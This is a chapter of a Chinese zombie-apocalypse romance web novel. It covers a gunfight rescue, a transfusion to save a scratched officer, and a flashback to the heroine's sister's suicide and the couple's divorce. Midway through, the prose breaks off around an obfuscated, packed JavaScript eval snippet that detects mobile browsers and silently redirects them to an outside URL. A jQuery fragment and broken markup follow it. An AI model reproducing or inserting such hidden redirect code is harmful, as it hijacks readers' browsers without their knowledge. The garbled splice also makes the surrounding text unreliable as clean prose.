17.生命垂危

作品:《想复合?除非世界末日

    陈书礼正倚在关押沈茵的房间门外。他肩膀抵着门,两手飞快地在终端上操作。门禁密码已经提前被梁辰更换,他的磁卡失效了。


    沈茵察觉到门外的异常声响,她踮着脚靠近门边,侧耳细听。今天是计划执行的日子,梁辰同她约好,倘若事情顺利会和陆泽渊一起来接她,此刻门外刷卡和密码校验的声音交错,来的人必然不是他们。


    如果对方此刻破门而入那一切就完了。她焦急地环顾四周,只能暂时把门堵死再想办法了。


    沈茵拖过沉重的沙发挡住门口,又把储物柜推倒,增加负重。


    拖行声难免引起陈书礼的注意,他恶狠狠道:“沈茵,别想耍什么花招!那个臭小子敢背叛我,八成就是受了你的挑唆——还拿什么血液检测给我看,我告诉你,他们活不成了!”


    “我看你才是在做梦!梁辰好好一个孩子,你不惜才也就罢了,还折磨人家父母,算不算个人啊!”想起陈书礼做过的事,沈茵一肚子火,嘴上更不客气,“要是他们真的被你抓了,你怎么还在这破译密码?闲得慌?”


    闻言,陈书礼一拳捶在门上,一双怨毒的眼睛透过铁窗死死盯着沈茵,“你相信也好,不信也罢,陆泽渊已经被我的十几个实验体包围了。至于梁辰那个叛徒,哼……倒是要谢谢他把你这么个好礼物留给我……先逮住你,我再送他跟他爸妈到天上团聚!”


    沈茵心下一惊,难道,梁辰的父母真的已经……


    “滴——”门禁解锁的声音打断了沈茵的思绪,她立刻扑上去用后背顶住堵门的柜子。陈书礼在外面砸门,一连串凶狠的动作震得咣咣响。她紧闭双眼,不断在心里祈祷,一定要撑到陆泽渊过来。


    陈书礼发疯般用力踢打,连伤口撕裂渗出鲜血也毫无所觉。突然,门外的动作停止,沈茵回头,铁窗后面一张脸表情僵硬,眼白上翻。


    梁辰举枪站在陈书礼身后,双眼通红,泪水溢满眼眶,枪口还冒着微微的白烟。


    “你……你怎么……”只来得及吐出几个字,陈书礼身体抽搐,倒在血泊之中。


    “果然是骗我的,说什么……我父母还有救……”梁辰痛苦跪倒,膝行几步,捉住陈书礼领口用力摇晃,“你一直都在骗我!”他揪着陈书礼的领子把人狠狠砸向地面,剧烈的动作下血液顺着弹孔汩汩流出,一片鲜红。陈书礼一动不动,早就没有了气息。


    沈茵站在门口,沉默地看着眼前发生的一切,上一世她作为医生,尽管见多了生离死别,但仍觉得心痛惋惜。


    她移开作为格挡的沙发,走到梁辰身边,轻轻拍了拍他的肩膀,“……节哀。”


    “……畜生。”梁辰缓缓吐出两个字,用力抹了把眼睛,随即转向沈茵。


    “沈小姐,我们不能再因为这个人渣浪费时间了,陆长官现在很危险!”


    沈茵皱眉,“怎么回事,为什么他没有跟你一起过来?”


    “陆长官……让我给您这把手枪。”


    简短地讲述了训练室的情况,二人不敢再耽搁,迅速赶往陆泽渊所在的方向。梁辰拿走陈书礼的磁卡和终端,在赶路途中打开临近的武器室补充了一些弹药。


    沈茵越走越觉得情况不妙,深深浅浅的血迹、研究员的尸体、一片狼藉的通道……她不由得握紧手枪,甩开脑中的胡思乱想,闷头向前。


    走廊坍塌得厉害,两人不得不绕路通过,转了几个弯后,梁辰拉住沈茵的胳膊,示意她往角落一处昏暗的房间看去。


    那是一间办公室,透过玻璃隔断,能隐约看见一只青年实验体正缓慢行走,他的动作竟有几分谨慎,好像在寻找猎物。


    突然,一个人影从暗处蹿出,他单手持刀,用力向丧尸后颈挥砍。丧尸反应快得惊人,沈茵还没来得及看清,它已侧身躲过攻击,反手抓向来人。一声巨响,那个人被丧尸抓住脖颈,压在墙上动弹不得。


    这时沈茵才看清那人的脸,居然是陆泽渊!


    顾不得许多,她抬枪便射,或许因为光线太过昏暗,子弹没有打中丧尸的头,而是从它的肩膀直接穿了过去。但这短短的一瞬给陆泽渊提供了反制的机会,他抓住丧尸被枪声吸引的空档,横刀向前,头颅滚落。


    见最后一只实验体也被杀死,陆泽渊再也无法坚持,双膝一软,瘫倒在地。恍惚之间,他看见沈茵带着梁辰向自己跑来,他的手在地面徒劳地抓了几下,想撑起身体,却始终难以动弹。


    沈茵扑到陆泽渊面前,看着他身上凌乱的伤口,再也抑制不住泪水,痛哭出声,“怎……怎么会这样……你不可以死,不可以离开我……”


    陆泽渊抬起一只手,轻轻触摸沈茵的脸,抚过她耳畔柔软的发丝。他感觉伤口麻痒发烫,痛楚倒不十分明显,“乖,别哭,只要你没事,我就放心了……”


    他虚弱一笑,却把目光移向梁辰。


    梁辰和他对视片刻,忽然醒悟,陆泽渊身上的,是丧尸的抓伤。


    “开枪吧。”他缓缓道,“我希望最后……在茵茵面前,留下好一点的模样。”


    沈茵一怔,忙扑上去,用自己的身体挡在二人中间,“不可以!谁都不可以……”


    见梁辰手中还握着枪,她一把夺下,丢到远处,“不能这样做!难道你忘了,他是为什么才受伤?一定还有其他办法对不对……”


    看着沈茵伤心欲绝的样子,梁辰没有动,他想起了两年前。


    那时候,他也是这样流着眼泪,绝望地把受伤的父母搬上车。他在大雨里卑微地祈求陈书礼救他父母一命,无论付出什么代价他都愿意。


    “或许……还有一个办法。”梁辰缓缓开口,声音嘶哑,“不能留在这里了,坍塌的房间太多,不知道什么时候就得把我们活埋。先带他去我的实验室吧。”


    梁辰并不想亲手送自己的恩人上路,更何况,他和沈茵对视,还有最后一种可能。无论生门还是死门,总要闯一闯才知道。


    **


    时隔许久,沈茵再次穿上无菌服,而躺在手术台上的,却是她最放不下的那个人。梁辰作为手术助理在一旁协助,在他看来,沈茵实在是一位很优秀的医生。手稳,技术好,反应迅速,而且判断准确。


    两人为陆泽渊仔细缝合伤口,并且注射了足量的抗生素。虽然他们心里都清楚,这并不足以抵御丧尸病毒,仅仅只能减少发炎化脓的风险。


    观察了一阵子,体温还是居高不下。沈茵冲梁辰点了点头,“试试吧。”


    梁辰先是从昏迷的陆泽渊身上采了一点血样保存,然后重新插上针管。鲜红的输血袋内,是沈茵还温热的血液。


    幸好两人血型一致,应该不会发生排异反应。但倘若没有效果,陆泽渊在两日之内就会变异成丧尸。


    梁辰搬了张躺椅在陆泽渊床边,方便沈茵和他轮流看护。


    他劝刚抽完血,十分虚弱的沈茵快去休息。而她木然地,望着那抹红色一点一点流淌进陆泽渊的血管。


    过了许久,她缓缓道:“我们,曾经是夫妻。”


    “你是说……曾经?”梁辰惊讶。


    “对,曾经。”沈茵抹了抹脸颊,擦掉眼泪,“后来,我们协议离婚,都是因为我。”


    梁辰叹了口气,他给两人都倒了咖啡,“婚姻嘛,又不是一个人的事,怎么能说只怪你呢。”


    “不,是我骗了他,骗了好久好久。”


    沈茵坐在病床边,肿着眼睛。就好像三年前,她也是这样坐在妹妹的病床旁边,看着亲人浑身插满管子。无论她的医术多么精湛,都无法阻止屏幕上跳动的曲线随着心跳逐渐微弱。


    **


    沈茵有一个小她七岁的妹妹,沈蔷。因为心脏病,她从很小就一趟一趟往医院跑。


    小姑娘虽然身体不好,但格外聪明懂事。她知道生病会给家里添麻烦,甚至忍着不舒服不告诉大人。沈茵读医学院的一部分原因也是沈蔷的病。


    后来,她虽然没能专攻心脏外科,但也如愿以偿让妹妹住进了自己工作的医院。


    但妹妹的病情却在她入职的第一年急速恶化。资深的老专家告诉沈茵,救命的唯一办法,只有心脏移植。看着日渐消瘦的妹妹,她心如刀绞。


    找到合适的心脏并非易事,也许要等上十数年,可是……她的妹妹已经没有那么多时间了。沈茵甚至自己偷偷跑去做了配型,得到的结果却是无法匹配。


    彼时,陆泽渊已经和沈茵相恋已久,两家都对双方非常满意。


    他时常会到沈蔷的病房替代沈茵陪护。下班推门,看见男友与家人围坐在一起,暖黄的灯光柔柔地照在他的侧脸,沈茵觉得心里鼓鼓胀胀地被甜蜜塞满。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394532|182733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    某个忙碌的下午,沈茵刚结束一台手术,同事神神秘秘地喊她:“小沈,快过来!给你看个东西。”


    沈茵不明所以,被拉到无人的休息室。同事拿出两叠纸,分别铺在桌上,“你看,这是你妹妹的报告,再看这个——”


    “这是……”沈茵惊讶地瞪大了眼睛,报告上注明的HLA信息和沈蔷的适配度惊人得高。


    “你哪来的这个东西?”沈茵连忙问道。


    “其实……”同事指了指文件一角的Logo,是一家知名的慈善机构,“我家人在那里工作。机缘巧合才知道,你未婚夫签过器官捐献同意书,也做了相关体检。”


    “可是……”一时间,沈茵被突如其来的消息震惊得说不出话来。


    “也没有别的意思,就是觉得,你应该知道。”同事拍拍她的肩膀,“报告你就留着吧,我先下班了。”


    沈茵愣在原地。


    当晚,她在灯下枯坐了许久。陆泽渊是她的爱人,当然不能为了救治家人伤害他。可是,看到妹妹一天天虚弱下去,她痛苦万分,甚至无法平静面对体贴入微的男友。


    日子就这样一天天熬着。因为照顾妹妹,沈茵和陆泽渊的婚期也一拖再拖。


    在一个飘着大雪的夜晚,沈茵刚从手术室出来,却迎面撞上痛哭的母亲。


    沈茵心里一沉,“怎么了?妈,您说话啊……”


    “蔷蔷她,出事了……”


    原来,趁着护工上厕所的空档,沈蔷撑着虚弱的身体攀上窗台,在这个寒冷的雪夜,一跃而下。对于这样做她早有打算,因为在遗书里,她给每一个深爱的家人和朋友都留了遗言。


    当晚,一片忙乱。


    沈茵回到家里已经是第二天清晨,拒绝了陆泽渊留下陪她的提议,她只想安安静静一个人呆着。


    靠在床头,给早就罢工的手机插上充电线,“叮——”,短信提示音响起。


    沈茵肿着一双眼睛点开屏幕,看清文字的瞬间,她泪流满面。


    “致我最爱的姐姐。”


    “这是一封单独给姐姐的留言。”


    “你为我的身体奔波忙碌,我都看在眼里,却不知道如何报答。”


    “前几天,我做了一个钩针挂饰,想偷偷放进你包里送给你。可是不小心,文件掉出来,看到了那两份检测报告。”


    “我不知道你心里装了这个秘密多久,但我知道你和姐夫一直深爱着对方。你们是注定要相伴一生的,但我可能没有这个福气陪你那么久。”


    “你一定很伤心愧疚,明明有合适的心脏却无法为我手术。所以如果我以一个心脏病之外的理由离开,是否会让你不那么难过?”


    “姐姐,不要因为我的离开伤心,你给我的爱已经足够多了,而我,只希望你快乐。”


    “爱你的,沈蔷。”


    **


    沈茵现在已经可以平静地对梁辰讲出这段经历,她花了很长很长时间与自己和解。


    “所以……后来陆长官知道了这件事?”梁辰试探着问道。


    “你猜得没错。”沈茵起身给陆泽渊掖了掖被角,说道,“后来我们办了婚礼,搬家的时候他帮忙整理阁楼,那里放着我妹妹的遗物。里面就有当时那两份检测报告。”


    “他知道我们全家都很爱我妹妹,所以更不能接受,我瞒着他拿到了他器官捐献的体检报告。”沈茵叹了口气,“虽然也试图解释过,但我理解他的震惊和愤怒。没过多久,我们就协议离婚了。”


    梁辰喝了口已经冷掉的咖啡,“但,你们看对方的眼神……”他想起在餐厅陆泽渊拼了性命也要为沈茵当子弹的那一刻,喃喃道,“陆长官把你看得比他的生命还重要。”


    沈茵没有说话,她望着躺在病床上的男人。陆泽渊静静躺在那里,胸口随着微弱的呼吸一起一伏。


    她当然感受到了他的爱意,但过往的裂痕太深太痛,让她不敢相信,也不敢索取。


    所以她只能被动地等待,不想再给他添麻烦,但似乎又一直被卷在麻烦当中。


    “好在现在安全了。”梁辰站起身,他走到屏幕前,仔细观察数字变化,“病毒感染指标并没有继续上升,或许,明天再输一次血数值就能降下来。”


    “希望如此。”沈茵摸了摸陆泽渊的头发。